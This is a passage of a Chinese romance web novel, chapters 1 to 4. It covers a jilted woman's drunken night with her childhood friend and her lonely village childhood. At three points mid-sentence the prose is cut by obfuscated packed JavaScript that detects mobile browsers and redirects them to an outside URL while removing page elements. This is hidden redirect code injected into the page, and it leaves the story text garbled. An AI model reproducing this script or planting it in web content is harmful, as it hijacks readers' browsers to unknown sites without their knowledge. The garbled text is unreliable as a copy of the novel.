《当学神和□□都喜欢我》 1. 连你都要欺负我 如果时光逆转,我依然会随心做出选择。 哪怕知道是深渊,哪怕知道是火海,也不后悔。 因为那些苦难,那些泪水,都将成为灌溉我的养料。 ——《橘色告白》 大雨滂沱的深夜,整座城市变得朦胧,连霓虹灯都被雨水洇出了虚影。 时序洗完澡出来,上半身光着,只有下半身围着浴巾。水滴自他近乎完美的下颌线滴落到漂亮的锁骨上,又滑至紧实的小腹,最后没入人鱼线中。 他走到客厅的沙发上坐下,一只手擦着半干的头发,一只手拿起手机。 置顶的微信对话框有三条新消息。 好什么好:“他出轨了。” 好什么好:“我不想结婚了。” 好什么好:“来橘色陪我喝酒。” 时序看完,擦头发的手一顿,狭长的眼眸微眯,不明显的怒火缓缓蔓延。 他快速回了两个字:“等我。” 等他驱车赶到橘色时,甄好已不知喝了几杯,白皙的脸颊泛着不正常的红。 见他来了,甄好淡淡地笑了笑,抱怨道:“你怎么才来?你再晚来一点,我就跟别的男人跑了。” 在时序来之前,她已经凶巴巴地赶跑了几个前来搭讪的男人。 其中一个男人抓着她细若无骨的手腕,满脸都是下流之色:“穿那么少不就是出来给男人玩的吗?” 被激怒了的甄好在酒精的作用下,与平时判若两人:“老娘穿多穿少干你屁事啊?” 那男人却更加肆无忌惮:“少装了。说吧,一晚多少钱?” 这回甄好话都懒得说了,直接上手,一个响亮的巴掌直直地甩在那男人脸上。 后来要不是老板过来协调,免了对方的单,这事恐怕还没完。 想起方才的遭遇,甄好又笑了:“阿序,我刚刚打人了,还打了那猪头好几个巴掌呢,想不到吧?” 时序没有说话,只是目光越来越沉。 “想不到乖乖女甄好也会打人巴掌,也会穿着性感小短裙来酒吧喝酒,也会为了男人而跟父母翻脸吧?”甄好说着又端起一杯酒,仰头一饮而尽。 苦涩在她心中逐渐蔓延,分不清是酒难喝还是心情作祟。 “阿序,你怎么不理我?”一杯酒下肚,甄好感觉面前的虚影更重了。 她伸出手轻轻地抚上男人的脸,咬字也轻轻的,带着一丝娇俏:“阿序,你是不是跟他一样,也厌烦我了?” 时序任由她摸着自己的脸,眼里满是心疼,却又刻意掩饰着,口是心非道:“你知道就好,大半夜还给我添麻烦。” 甄好却不以为意,问题一个接一个:“阿序,这么多年了,我还是比不上阿美吗?” 闻言,时序目光微变:“什么意思?” 难道那个男人的出轨对象是甄美? 时序不愿意相信事情的真相是这样的,毕竟甄美是小甄好五岁的亲妹妹,是他们都疼在骨子里的妹妹。 甄好却始终没有下文。 他只得轻轻地摇了摇女人的肩:“好好?” 可惜的是,甄好已经醉意上头,问完那个问题便趴在桌上睡着了。 甄家家风严谨,倘若将醉得不省人事的甄好送回家,势必要引起轩然大波。不得已之下,时序只能带她回自己家。 回去的一路上,甄好都十分乖巧地靠在椅子上睡觉。 等最后一个红灯的间隙,时序侧头看着女人。 甄好连闭上眼睛都是极美的,恬静的睡颜一点都看不出是个喝多了的酒鬼,只是眉心始终皱着,仿佛有诉不清的愁绪。 他伸手将她的眉头抚平,眼里是他自己都没有发觉的温柔。 “好好,如果太辛苦,就放手吧。”时序知道她听不见才敢这样表露心意,“不管未来如何,都有我。” 他与甄好从小一起长大,看着她从敏感自卑的小姑娘长成如今自信大气的模样,也看着她从被爱滋润成小女人到此时吃够爱情之苦的狼狈不堪,他心痛却无能为力。 让她哭让她笑的人始终不是他。 雨越下越大,好似要把整座城都倾倒。时序放慢车速,到家时比平日里多用了十五分钟。 许是在路上睡了一觉,车一停下来,甄好就稍微清醒了不少。 不过她一开口,时序便知道这只是自己的错觉。 她短促地笑了一声,柔软的指腹戳在时序的左脸上,而后猛地靠近他,声音又娇又柔:“这是哪儿来的小哥哥呀?真好看。” 时序目光微沉,拼命按下心中那丝痒,扶着她下车:“跟我回家。” “跟你回家干吗呀?”甄好浑身发软,整个人几乎是靠在时序身上的,“跟你回家睡觉吗?他都不愿意跟我睡觉,你呢?你愿意跟我睡觉吗?” “甄好。”时序停下脚步,严肃地叫她的名字。 “干吗这么凶……”甄好站不稳,索性面对他,双手搂住他的脖颈,委屈的声音轻轻地扫过男人的耳畔,又在他心里拂起一丝痒来。 时序拿她没办法,只得打横将人抱起,大步朝电梯厅走去。 他怀中的女人倒是丝毫不客气,直往他怀里钻,片刻后才安分下来,像是终于找到了舒适的姿势。 时序突然觉得恼火。 如果今晚带她回家的人不是自己,她是不是也会这样主动? 主动搂人,主动投怀送抱,还主动要跟人睡觉…… 光是想到这些,时序就发觉自己嫉妒得快要发狂。 恼怒加嫉妒的心情夹杂在一起,让时序不由得微微用力抱紧了怀中之人,等进了门,更是直接将她整个人往沙发上一扔。 只是在放手的一瞬间,他还是怜惜地用手掌护住甄好的后脑勺,轻轻地将她放在柔软的沙发上。 抱着人的时间有些久,他的气息微微不稳,刚放下人要起身,却被一只细白的手攥住衣领。 紧接着,他整个人不受控制地朝前扑去。 要不是他反应快,下意识地用一只手撑住沙发,很难保证那股惯性不会伤到甄好。 但饶是他的动作再快,脸也依然猛地撞上一片柔软。 意识到自己撞到的是什么,时序的耳根子顿时热了起来。 他红着脸想要起身,但脖子被甄好的一双手紧紧缠绕。 以他现如今的姿势,很难用上劲,一时之间竟无法挣脱她的桎梏。 “我好热啊……”甄好迷迷糊糊的,根本分不清面前之人是谁,“我要洗澡。” 等好不容易将人送进浴室,时序才倚在门口深深地呼了一口气。 待大脑冷静下来后,他又开始担忧甄好一个人在里面有没有问题。于是,他片刻也不敢离开地守在浴室门口。 门内一直传来哗啦啦的水声,还隐约夹杂着听不出调的歌声,时序一颗提着的心这才缓缓落回肚子里。 他刚放松不到两秒,浴室内就传来一声不大不小的呼叫,惊得他什么都没想便拧开门把手。 这一拧,他才发现甄好没有反锁门,但他也顾不得那么许多了,打开门就径直往里走去。 淋浴房内热气氤氲,他只能模模糊糊看见一个人影。 “好好,你没事吧?”时序的呼吸有些不稳。 洗澡的时候摔倒可不是闹着玩的。 “我的头发好像卡住了。”甄好的声音带着几分委屈和像小女孩般的控诉,“怎么连头发都欺负我……” “你慢慢来,你——” 时序的话还没说完就被她打断了:“我解不开……阿序,你进来帮我好不好呀?” 时序:“……” “好不好嘛……”甄好喝了酒与平时判若两人,格外会撒娇,“阿序哥哥,你进来帮帮人家嘛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15552273|171279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 那种痒意再度爬上时序心头,伴随着一股燥热,流遍他浑身的血液。 “那……那我进去了。”时序闭上眼睛,凭借记忆摸索着前进,也正是因为闭着眼睛,他刚靠近甄好就被顶喷的水打湿了半边身体,然而他依旧不敢睁开眼睛。 甄好睁着一双迷蒙的大眼睛看着宛若谦谦君子的男人,不乐意了:“阿序,我不好看吗?” “好看。”时序的喉结上下滚动了两下。 “好看你为什么不睁开眼睛看我?”甄好主动将手攀在男人的肩膀上,轻轻一拉,将人完全地带到顶喷下。 柔和的流水很快让时序全身都湿透了,也让他霎时清醒了几分,但依旧没有睁开双眼:“你的头发……” “刚刚突然自己解开了。”甄好娇媚一笑,手丝毫没有要放开时序的意思。 时序拉开自己肩上的手:“那我出去了。” 下一秒,甄好直直吻上了他的唇,呼吸交错间,女人抓着他的手放在自己胸前,声音带着媚:“阿序哥哥,想不想要我?” 时序感觉自己大脑中那根紧绷的弦一下子就断了。 从他们紧紧相贴的身体,甄好轻而易举就感受到男人的变化,她很满意他的反应。 她伸手轻抚男人湿透的衬衫下那富有线条感的肌肉,一寸一寸都像在拨动早已紧绷的琴弦—— 砰—— 琴弦终于禁不住撩拨而肆意断裂,呼吸声与心跳声渐渐交融。 接下来的事情顺理成章,火热与冰冷,奔赴与迎合…… 第二日,从窗户照进来的阳光跳跃在女人姣好的面容上。 甄好比身边之人先醒来。 她本能地抬手遮了一下阳光,记忆也在瞬间慢慢回笼。 喝尽的酒瓶、打开的顶喷、主动的自己、滚烫的身体,还有…… 她侧头看着躺在自己身边的男人,顿时觉得有如五雷轰顶。 那个男人真的是时序,真的是跟她从小一起长大的时序…… 她怎么能对自己的好兄弟做出此等禽兽之事?还央着他不要停…… 俗话说兔子不吃窝边草,现在她还不止吃了一次。 甄好思索再三,决定三十六计走为上计,提上裤子不认是她和时序之间最好的结局。 就在她蹑手蹑脚地将横跨在自己身上的手轻轻提起时,男人低沉的嗓音忽地响起:“吃干抹净就想跑?” “时序,我没有……”甄好一下子也不知道该说什么。 “你昨晚不是这样叫我的。”时序有些失落,“你昨晚叫我阿序哥哥,很好听,我很喜欢。” 甄好露出一个比哭还难看的笑容:“昨晚我喝多了……” “好好,睡了我就要对我负责。”时序露出委屈的表情,像极了怕被遗弃的大型犬。 甄好心软的同时还是很不愿意接受这个事实。 她是有未婚夫的人。 除此之外,她和时序是好兄弟,是二十几年的好兄弟。 比起恋人,她更想和时序做一辈子的好朋友。 因为任何关系都要比恋人来得稳固,她不想面对可能会失去时序的风险。 就在气氛有些僵持的时候,甄好的手机振动了一下。 是某某银行的短信:“【××银行】温馨提醒,您尾号9988还款账户的贷款,贷款余额998,667.05元,本期应还8,965.08元,还款日为04月25日,活期账户余额不足,请确保账户余额充足。” 她需要在两日后凑齐这笔还款,而这,只是她其中的一项欠款而已。 被劈腿、债台高筑、工作不顺,这便是她二十八岁的样子。 甄好苦笑一声,不明白自己怎么活成了这副模样。 如果时光能够倒流,她还会做出同样的选择吗? 她不知道。 2. 她有人生没人养 人啊,要接受父母其实没那么爱你。 ——《橘色告白》 一九九二年,农历七月十四。 甄家长孙女出生了,除了刚出生时那一声洪亮的啼哭,此后都乖巧得不像是个尚在襁褓的小娃娃。 甄奶奶逢人就夸:“我们家好好乖的哩,吃饱了就乖乖睡觉,醒了就睁着大眼睛好奇地看着周围,不哭也不闹。” 在邻里邻外都赞叹甄好真是个天使宝宝时,甄奶奶却总要加一句:“要是个带把的就好咯。” 甄爷爷就不爱听这话,说起甄好总是笑呵呵的:“孙女好,是爷爷奶奶的小棉袄。” “是,是,是,孙女好,是爷爷奶奶的小棉袄。”甄奶奶也跟着笑,眼里尽是对孙女的喜爱。 甄爱缱嘴上虽然总说孙女不是个带把的,但对甄好的疼爱是发自真心的。 她是真爱这个孙女,也是真想再要个孙子。 甄好四肢修长,一看就知道以后会长成个子高挑的姑娘,就是皮肤黑黑的,小小的肚子每日跟吹了气似的,胀得圆滚滚的。 位于闽市闽镇的刺桐村,坐落在海拔五百米的半山腰,远离镇中心,民风淳朴的同时思想落后封建,素有给孩子取个贱名好养活的说法。 于是,算不上粉雕玉琢的黑皮娃娃甄好就在甄奶奶的一锤定音之下,拥有了自己的贱名——阿砰。 在闽话里,这两个字是又胖又圆滚滚的意思,带有嘲讽之意。 如果当时的甄好能够自主选择,她一定会撒泼打滚拒绝这个贱名。 可惜没有如果。 全家人对这个贱名没有任何意义,毕竟比邻居家的“臭头”“米粉猪”一类的贱名比起来,“阿砰”听起来甚至还有些可爱。 只有甄爷爷注意到重点:“好好的肚子总这样胀气是不是因为脾胃不好?” 也只有甄爷爷坚持叫她“好好”,并表示:“好好多好听,一听就很美好。” 但贫穷的甄家没有多余的钱给甄好找医生,就那么按猪养,也顺顺当当地把孩子拉扯大了。 甄好五岁那年,八月的天,本应是酷暑难耐的季节,可闽镇沿海,台风天是夏日里的常客。 台风来临之前,乌云层层压下来,风卷着地上的塑料袋飞向半空,朝未知的方向越飞越远。 甄好坐在自家院子里的大石头上,晃着两条小胖腿,看天上的云被风吹得快速翻涌着。 像极了她在电视里看过的筋斗云。 甄家有台老旧的彩色电视机,是有钱的亲戚家淘汰下来的,只能搜索到两三个频道,有时候风一吹,天线被吹歪了就只剩雪花在闪烁。 但那仍是甄家最值钱的家什,甄好常常和爷爷守在电视机前看她不懂的新闻和法制节目。 陪爷爷看电视是她童年里为数不多的娱乐活动,也是她长大后回忆起来最为温暖的时光。 甄好看了一会儿云,觉得脖子有些酸,便反身趴在大石头上,慢慢地踩到地面上。 爷爷奶奶不知去了哪里,偌大的家里只有簌簌的风声和一只狸花猫懒洋洋地卧在前厅的竹椅上。 甄家很大,但略显破败,有的瓦片被风吹松了,一到下雨天还会漏水。 滴滴答答的,怎么都停不下来。 甄好不喜欢下雨天,也害怕台风季节,因为那意味着外面下大雨,家里下小雨。 台风总是伴随多日的强降雨,风雨交加的天气让她担惊受怕,怕那脆弱的房顶会塌下来,怕那雨水会像新闻报道的那样,越涨越高,直至将她淹没。 哪怕目前为止,这样惊险的时刻都未曾发生,她小小的心脏也总因恶劣的天气而揪着。 甄好跑向种着三棵巨大龙眼树的屋前院,边跑边喊:“爷爷……爷爷……” 小女孩的声音甜甜的,和在风声里,不知传向何方。 没有人回应她。 村里的小孩都是这样,小小年纪就可以一个人待在家里,也可以到外面和小伙伴疯玩。 邻里邻外都熟门熟路知根知底的,谁家孩子没回家,吼个几嗓子就差不多找到人了。 真是应了那句——交通靠走,找人靠吼。 甄好迈着小短腿往邻居家走去,她猜测爷爷奶奶也许在别人家泡茶话家常。 去邻居家需要经过一条窄小的土路,路面走的人多了,已经被踩实。小道两旁长满了野草,满目葱绿点缀着几朵小花,一株巨大的杧果树照下一片阴凉。 甄好每次走这种路都害怕会突然蹿出什么东西来,也害怕头顶会掉虫子下来。 闽镇属于亚热带海洋性季风气候,盛产水果,也盛产虫蛇。 虽然掉下来的经常是熟透了的小杧果。 风越来越大,乌云层层压下,偶有电光穿过。 雷暴就要来了。 就在甄好距离邻居家还有几步路的时候,一道刺目的光在她面前劈了下来,强光和地上的大石块摩擦出火花,燃起烧焦味。 紧接着,一声炸雷响起,震得仿佛地面都颤了颤。 甄好吓傻了,呆呆地站在原地挪不动脚步。 等她意识到刚才是一道惊雷劈在自己面前的大石头上后,“哇”的一声哭了出来,却在下一秒又死死咬着嘴唇不敢哭出声。 她想起有一天半夜醒来,她摸不到睡在自己身边的奶奶,便哭着跑了出去。 她不知道奶奶会去哪里,哪怕怕黑怕鬼,还是一路摸黑哭着朝家里田地的方向跑去。 田间小路又窄又满是杂草,甄好几次差点踩空栽进水稻田里,可依旧紧咬着嘴唇深一脚浅一脚地走着。 小小的背影在月色的掩映下,倔强得让人心疼。 等终于找到了奶奶,甄好没忍住“哇”的一声哭出来。 甄奶奶却拿着手里长长的银色老式手电筒作势要打她,表情恶狠狠的,语气凶巴巴的:“哭什么哭?不准哭!大半夜的不睡觉跑出来干吗?!” 甄好吓坏了,本能地往回缩,眼睛里包满了泪水,却再也不敢哭出来。 这成为甄好后来成长的人生里最为记忆深刻,也最为难过的一幕。 她满心期待,穿越重重障碍,终于来到信任亲近的家人身边,可她予以信赖的亲人对她露出了凶狠的一面…… 一个小女孩的心就那样轻轻地碎掉了。 从那之后,她再也没有在别人面前号啕大哭过,伤心了委屈了只会默默地淌着泪水,再也没有哭出过声音来。 长大后的甄好常常在想,如果那一晚,奶奶没有凶她,而是抱着她,温柔地安慰她不要怕就好了。 可是人生没有如果,她希望的无数次如果都不可能实现。 甄好再也顾不得找爷爷奶奶,转身就往家中跑去。 雷声大,雨点小,每打一次响雷,甄好的心脏就跟着骤缩。 她害怕虫子,害怕黑暗,害怕鬼怪,害怕打雷,害怕身边没有人……她害怕的东西实在太多了。 她一边流着眼泪,一边奋力地跑着。 为了减少内心的恐惧,她不成调地唱起奶奶教自己的童谣:“天黑黑,咩咯吼,海龙王咩娶某……阿公嘎锄头,咩挖芋……阿公要煮咸,阿嫲要煮淡,两人撒怕弄破顶……” 她跑着跑着,遇到几个小孩子在玩丢沙包。 小孩生性都是贪玩的,甄好童谣也不唱了,雷也不怕了——她也想玩丢沙包。 她眼巴巴地看着那只被扔来扔去的沙包,心里痒痒的,可是几个回合下来都没有人邀请她一起玩。 甄好难过得垂下了头,泪珠悬在睫毛上,将落未落。 最后到底还是敌不过玩乐的诱惑,她抬起头,靠近他们,再度鼓起勇气说道:“我可以跟你们一起玩吗?” 她丢沙包丢得可好了。 爷爷给她做了一个沙包,没人陪她玩的时候她就一个人在院子里自娱自乐,久而久之,准头便练 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15552274|171279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来了。 为首的孩子是村里的孩子王,名叫邹晓伟。他眼里闪过一丝狡黠,欣然答应道:“好啊,正好守方缺一个人。” 闻言,甄好本就被泪水浸润的眼睛更亮了。 她没想到他们会答应自己的加入,一时有些受宠若惊,忘了动作。 她不是第一次提出一起玩的请求,可这帮孩子从未接纳过她。 她不懂他们的恶意是从何而来,只能在不远处观察着游戏规则,回到家里再一遍遍地练习着丢沙包,希望有朝一日震惊四座。 “还愣着干吗?快去守方的阵营里。”邹晓伟指了指自己对方的场地,示意她快过去。 甄好不疑有他,屁颠屁颠地加入守方阵营。 一起玩的都是方圆五里人家的孩子,就算彼此的父母不熟,爷爷奶奶也都十分熟稔,甄好一想到以后自己多了这么多玩伴,就开心得合不拢嘴。 只是接下来的游戏好像没有她想象的那样有趣,首先,多人丢沙包和她平日里的自娱自乐根本不是一回事,她玩得烂极了。 其次,她的脑门挨了一下又一下的沙包,整个额头火辣辣地疼了起来。可为了合群,她只能紧咬牙关,不喊出一声疼。 “你们玩够了没有?”在他们又一次发起攻击时,攻方的队伍里有个不悦的声音响起。 时序跑到对面阵营中,一把拉过甄好的手就要将她拽走,后者却倔强地不肯顺从,浑身抗拒地往后退。 “你看不出来他们是故意扔你的?”时序盯着面前这个黑黑瘦瘦的女孩子,实在是看不下去她这样被人欺负,还傻乎乎地以为是别人在朝她释放善意,这才出声制止。 邹晓伟一听,不乐意了:“时序,你不要胡说。” “就是啊,玩丢沙包难免有磕磕碰碰的。”甄好也低声帮腔。 时序直接被气笑了:“真是好心没好报。” 他说着甩开甄好的手,颇为冷酷道:“要玩你们自己玩吧,没劲。” “时——”邹晓伟还想说什么却被另一个半大的孩子打断。 “晓伟,要我说,咱们就别装了,反正我也玩累了,我妈也该叫我回家吃饭了。”说这话的人是大甄好两岁,刚上一年级的陶文灿。 他说着朝身后的小伙伴一眨眼,带头唱起了他们新编的歌谣:“甄好甄好,有人生没人养,家里破破烂烂,一点也不好……甄好甄好,有人生没人养……” 小孩子能有多坏呢,一字一字都能杀人诛心。 甄好瞪红了双眼,却也只是紧紧掐着自己大腿的肉,敢怒不言语。 他们唱了一遍还不够,又从头唱了起来:“甄好甄好,有人生没人养,家里破破烂烂,一点也不好……甄好甄好,有人生没人养,家里破破烂烂……” 有一道身影快速掠过甄好,扑倒笑容得意的陶文灿,二人很快扭打在一起。 紧接着邹晓伟也扑了上去,三个人打得不可开交。 现场有胆小的孩子被吓哭了,甄好吓蒙的同时一滴眼泪滑落。等回过神来,她再也顾不得许多,冲上去对着欺负自己的人又是抓又是挠,任凭其他人怎么拉都没用。 等扭打终于结束,几个孩子坐在地上喘着粗气,被吓哭的孩子也停止了哭泣。 邹晓伟和陶文灿脸上被打得五彩缤纷,吃痛的表情要哭不哭,最后只不甘心地撂下一句“咱们走着瞧”便愤然离开了。 时序索性整个人躺在地上,看着天上的云快速游走,小小的胸膛有规律地起伏着。 甄好学着他仰躺在地面,这才发现原来用这个视角看天空的云是不一样的。 云好像变得更大,飞得也更快了。 时序侧头冲她一笑,无厘头道:“这样就对了。” “什么?”甄好不是很懂他的意思。 “遇到压迫要知道反抗,只知道忍是没用的。”时序重新看向天空,仿佛在说给身边的女孩听,又仿佛在说给自己听。 3. 以后绝不惹你哭 那是她吃过的最甜的桃子,那也是她见过的最美的月色。 ——《橘色告白》 甄好回家后,被甄爷爷罚站圈圈了。 夏日的夜晚,蚊子凶残,女孩细嫩的手臂和大腿被叮咬出大大小小的包。 甄爷爷语气温和,神情却严厉:“知道自己错在哪里了吗?” “我没错。”甄好梗着脖子道,说什么都不肯认错。 吃过晚饭,邹晓伟和陶文灿的家长找上门来了,痛诉甄家女娃把自己的孩子打得多惨多惨,这才有了眼下被罚站的一幕。 对此,甄好表示嗤之以鼻。 比她高比她壮的两个男孩子反倒被她揍得鼻青脸肿,怎么不在家反思反思,偏偏还有脸跑来告家长? 真是懦弱,一点男子气概都没有。 甄好跟着爷爷看了不少武侠剧,江湖世界中那种侠肝义胆、仗剑天涯的豪气与英雄主义令她着迷不已,常常幻想自己也是行侠仗义的女侠。 然而现实是残酷的,如果不是时序,她连反抗的勇气都没有。 因为“我没错”三个字,甄好在甄爷爷画的圆圈里站了整整一个小时。 就在甄好揉着酸疼的腿迈出小院时,一颗小石子精准地打在她脚边。 她本就一肚子怨气,登时更加怒不可遏,抬头刚想骂人,就见院门外时序那张脸正对着自己笑嘻嘻。 “肚子饿不饿?”他对着她做着夸张的口型。 被他这么一提醒,甄好还真发觉自己饥肠辘辘,急需美食的犒劳。 于是,她点点头,又摇摇头。 “你这样……”时序说着点点头,接着摇摇头,“又这样……到底是饿还是不饿?” 甄好看了一眼亮着昏黄灯光的小厨房,心知爷爷奶奶一定给自己留了热乎乎的晚饭,可因为不服气,她又不是很想领这份情。 她原本对着厨房方向的脚尖瞬间朝院门拐去,几步走到时序面前:“我饿,好饿。” 看着小女孩在夜色中亮亮的眼睛和鼓鼓的脸颊,时序忍住想上手掐两把的冲动,神秘地对她挤挤眼:“走,带你去个地方。” 他说着,朝她伸出手。 “好呀。”甄好跟被蛊惑了般,将自己的手交到时序手中,任由他带着自己小跑在乡间的小路上。 晚风吹在耳畔,呼啸而过的童年带着稻花的香气,月光洒落人间,快乐在蔓延。 就如甄好此时雀跃的心。 被时序拉着走过一段路,她才想起来问:“时小序,你也没有吃晚饭吗?你妈妈不是……” 时序的母亲是小镇里出了名的温婉贤淑,尤其是一双巧手,不仅会做各种各样的菜,就是甜品糕点也不在话下,虽说…… 她小心翼翼地看了他一眼,没敢说出后面的话。 如果说甄好是有人生没人养,那时序便是有人养没人生。 表面上,甄好父母双全,实际上连父母的模样都记不清;而时序母子搬来闽镇的那天,仅仅过了半天时间,小镇上的人们便都知道拂柳巷尾搬来了一个漂亮的女人…… 在这个年代里,孤儿寡母总是容易受人非议,漂亮的寡妇更是为人津津乐道。 没人知道时序的父亲是谁,包括他自己。 这或许是他们比旁人更能够惺惺相惜的原因之一。 时序听到她的问题,无所谓地耸耸肩:“跟你一样,被罚站了。” 邹晓伟和陶文灿的家长不仅找上了甄家,亦找到了时家。在邹母和陶母的一番控诉之下,时序的母亲时谙女士当着众人的面,罚时序面壁思过,并把家里刚收成的桃子送了两篮子出去,对方这才作罢。 “妈——” 时序只喊了一个字就被时谙女士轻轻柔柔的嗓音打断:“阿序。” 他便老老实实地不再说话。 小胖子邹晓伟走出时家前,回头冲正被罚站的时序做了个鬼脸,恰巧和回过头的时序撞个正着。 邹小胖子得意地冲他扬起眉毛,笑得一脸嘚瑟。 鲜嫩的桃子汁淌到他肥圆的下巴处,看着就叫人没胃口。 时序嫌弃地扭过头不再看他。 心里那丝对桃子的渴望也因为邹晓伟难看的吃相而消失得一干二净。 “你站没罚完就跑啦?”甄好瞪大双眼,一副替他心惊胆战的模样。 时序被她逗笑:“没办法,蚊子太多了。” “同意。蚊子都快把我搬走了。”甄好赞同地点点头。 闽镇是未被商业开发的小镇,镇上的人们多半自给自足,水稻是常见的农作物。 原生态的地方总是盛产小动物,更何况是蚊子这种灭也灭不完的生物。 “你要带我去哪里呀?”甄好还是忍不住询问。 “马上就到了。”时序神神秘秘的,“等到了你就知道了。” 其实甄好心里怕得紧,她总是害怕在夜里出门,害怕脚下会踩到□□,甚至踩到蛇;也害怕黑暗里会突然窜出来白衣服黑头发的女鬼…… 感觉到自己的手被女孩越握越紧,时序有些无奈地侧头看了一眼甄好。 在看见她因为恐惧而绷紧的小脸时,他忽然顽劣地笑了笑。 “好好……好好……猜猜我是谁……”他学着鬼片里那种要死不活的瘆人语调开口,“好好……我在你身后啊……” 胆小的甄好哪里知道是时序在故意吓她,听到这如鬼魅般的声音瞬间就吓得脊背僵硬,连牙齿都微微颤抖。 下一秒,她的哭声和时序的喊疼声同时响起,前者盖过了后者,彻底淹没那一串不停歇的“疼疼疼”。 由于过于害怕,甄好几乎将时序的掌心掐破,算起来也是他自作自受。 他没想到这么一句话就把人吓哭了,顿时手足无措起来:“好好,你别哭啊。是我不好,我不该扮鬼吓你。你别哭了,好不好?” 他笨拙的安慰丝毫没有起到作用,甄好反而越哭越大声。 要不是他们已经跑到远离人家的田野里,恐怕这时已经有人会被她的哭声吸引而来。 无奈之下,时序只能拥抱哭到停不下来的女孩,并伸出手轻轻地摸摸她的头,又顺顺她的背。 好在这招有用,甄好在他怀里渐渐安静了下来。 见她不哭了,时序总算松了一口气。 怪不得时谙女士喜欢这样哄邻居家的小孩,原来确实有效。 “好好,对不起。”时序真心实意地道歉。 时谙女士经常教育他,做错了就要认,不要怕没面子。 他的确把甄好惹哭了,是他做错了。 甄好仍旧抽抽搭搭的,一双被水洗过的眼睛显得更加清澈,也看得时序更加内疚了。他再次道歉并保证:“对不起,以后我再也不吓唬你了。” “这可是你……你说的啊。嗝——”甄好轻轻地打了一个哭嗝才又继续说,“以后都不许再吓我了。” “嗯,这是我说的。”时序 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15552275|171279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学着电视里演的,对天举起三根手指,“我时序发誓,以后再也不让好好哭。” 看他滑稽的发誓动作,甄好破涕为笑。 见她笑了,时序重重地吁出一口气。 经过这么一闹,甄好感觉肚子更饿了:“时小序,我肚子要饿扁了。” 时序带她来的是自家的桃园,是时谙女士从小苗养到结果的用来贴补家用的果园。 此时正值桃子收成的季节,家里刚采摘的两篮子他还没来得及品尝便到了邹小胖嘴里,他实在是馋得紧,这才摸了过来想自己动手。 他踮起脚尖,摘了一个离地最矮的桃子,而后用衣服擦了擦,又轻轻地拍了拍上面的浮毛,才递给甄好:“喏,你先吃。” “时小序,偷桃吃真的没问题吗?”甄好犹豫道。 “这是我家的桃园,不叫偷。”时序不认同她的说法。 “可是时阿姨不知道,被发现了就不好了。”甄好还是觉得这样做不对。 爷爷是读过不少圣贤书的,经常教她一些做人的道理,她虽然很多都听不懂,但—— “这件事你不说我不说,我妈不会知道的。”时序安抚她。 这果园里那么多桃子树,少一两个时谙女士不会发觉的。 “爷爷常说不什么什么就是偷……”甄好一本正经道,“虽然我忘记爷爷是怎么说的了,但那意思说的就是现在的我们。好好不吃,好好不要当小偷。” 时序简直要被她气死,可望着她认真的小脸,他又说不出什么重话来,只得举起手中的桃子,一脸发愁道:“那它怎么办?” 浅青色的桃子在月光下透着淡淡的粉,看上去很是可口。 甄好盯着它,不自觉地咽了咽口水,表情却十分认真。 其实她好想吃。 家里种植的水果只有龙眼和杨梅,偶尔能吃到旺来和番石榴,还有一种她不爱吃的水果——橄榄。 橄榄吃着又酸又涩,她光想起来都觉得牙齿要倒了。 她爱吃的桃子、李子、甘蔗,还有枇杷和杧果,家里一样也没种,每到应季都只能眼巴巴看着邻居家的小孩吃。 当大人的当然不知道小孩子心里在想什么,加上甄好又从小就是个心思重的懂事孩子,从来不会主动要。 “要不,我们一人一口,把它吃掉吧。”甄好很快给自己找好了理由,“摘都摘下来了,不能浪费粮食。” 时序终于咧嘴笑了:“好好说得有道理。” 说干就干,两颗小脑袋很快凑近,甜丝丝的香气飘散在空中。 分食完桃子,甄好满足地笑着说:“桃子好甜,谢谢你,时小序。” 时序有些骄傲地答道:“不客气。” 月色下,美好还在持续蔓延。 一个小小的桃子哪里够正在长身体的两个小孩吃,当晚甄好就被饿醒了。 可是她不敢告诉奶奶,饿着饿着又睡着了。 她做了一个又香又甜的梦,梦里有好多好多桃子,多到都堆成了小山。桃子山后露出时序笑得能看到小虎牙的脸,一座漂亮的双彩虹出现在高远的天空上。 她还没做完的美梦被甄奶奶急促的叫喊声打断:“好好,快跟着奶奶走,跟紧点。” 甄好不知道发生了什么事,任由奶奶牵着自己在黑暗里行走,不知去向何方。 甄家在一夜之间,人去楼空。 因为什么而跑路,小镇上的人们心照不宣,却不可言说。 4. 认哥哥和认妹妹 今日天气晴,没有见到秋先生。 那个少年也没有多看我一眼。 ——《甄好日记》 “你跟踪我?”甄好冷冷地看着面前一脸窘迫的男生。 